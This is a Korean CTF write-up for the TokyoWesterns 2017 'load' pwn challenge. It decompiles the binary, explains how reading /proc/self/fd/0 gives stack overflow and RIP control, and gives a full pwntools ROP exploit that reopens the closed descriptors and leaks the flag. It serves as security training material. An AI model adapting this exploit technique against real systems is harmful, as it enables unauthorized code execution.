2017 TokyoWesterns CTF 4th load
- file description
- open(“/dev/pts/0”, O_RDWR)
- /proc/self/fd/0
[*] '/vagrant/ctfs/load'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
main함수에서 전역변수 filename에 입력받고 fileopen함수에서 해당 파일을 열어줍니다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4; // [rsp+0h] [rbp-30h]
__int64 size; // [rsp+20h] [rbp-10h]
__off_t offset; // [rsp+28h] [rbp-8h]
setup();
_printf_chk(1LL, "Load file Service\nInput file name: ");
input_Str(filename, 128);
_printf_chk(1LL, "Input offset: ");
offset = input_Num();
_printf_chk(1LL, "Input size: ");
size = input_Num();
fileopen(&v4, filename, offset, size);
close_0_1_2();
return 0LL;
}
fileopen을 해주는 함수인데 아까 우리가 전역변수 filename에 준 이름을 열어버린다. 그 fd를 가지고 read를 호출해줍니다.
int __fastcall fileopen(void *a1, const char *a2, __off_t a3, __int64 a4)
{
size_t nbytes; // [rsp+0h] [rbp-30h]
__off_t offset; // [rsp+8h] [rbp-28h]
int fd; // [rsp+2Ch] [rbp-4h]
offset = a3;
fd = open(a2, 0, a4);
if ( fd == -1 )
return puts("You can't read this file...");
lseek(fd, offset, 0);
if ( read(fd, a1, nbytes) > 0 )
puts("Load file complete!");
return close(fd);
}
stdin, stdout, stderr를 닫아버립니다.
int close_0_1_2()
{
close(0);
close(1);
return close(2);
}
/proc/self/fd/0
를 이용해서 stack에 입력받을 수 있다. 그래서 rip control이 가능하다. 근데 close로 0,1,2를 다 닫아버리니까 open으로 stdin, stdout을 복구해서 flag파일을 읽으면 된다. open("/dev/pts/0", O_RDWR);
를 2번해주면 된다. 처음에 stdin이 열리고 두번째에 stdout이 열린다. 그리고 flag파일을 여러개 열어주고 rdx가젯이 없어서 csu 가젯으로 대충 어림잡아 fd잡고 bss에 플래그 넣어주고 puts로 출력해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./load')
p = process('./load')
prdi = 0x0000000000400a73 # pop rdi ; ret
prsi_r15 = 0x0000000000400a71 # pop rsi ; pop r15 ; ret
name = 0x0000000000601040
csu_pop = 0x0000000000400A6A
csu_call = 0x0000000000400A50
pay = '/proc/self/fd/0\x00'
pay += '/dev/pts/0\x00'
pay += './flag\x00'
p.sendlineafter(':',pay)
p.sendlineafter(':','0')
p.sendlineafter(':','1000')
# pause()
# open('/dev/pts/0',O_RDWR -> 2)
# open STDIN
pay = 'A'*0x38
pay += p64(prdi)
pay += p64(name+16)
pay += p64(prsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(e.plt['open'])
# open('/dev/pts/0',O_RDWR -> 2)
# open STDOUT
pay += p64(prdi)
pay += p64(name+16)
pay += p64(prsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(e.plt['open'])
# open('./flag',O_RDWR)
# open ./flag
for i in range(7):
pay += p64(prdi)
pay += p64(name+27)
pay += p64(prsi_r15)
pay += p64(2)
pay += p64(0)
pay += p64(e.plt['open'])
pay += p64(csu_pop)
pay += p64(0) + p64(1) + p64(e.got['read']) + p64(100) + p64(e.bss() + 0x300) + p64(5) + p64(csu_call)
pay += p64(csu_pop)
pay += p64(0) + p64(1) + p64(e.got['puts']) + p64(0) + p64(0) + p64(e.bss() + 0x300) + p64(csu_call)
p.sendline(pay)
p.interactive()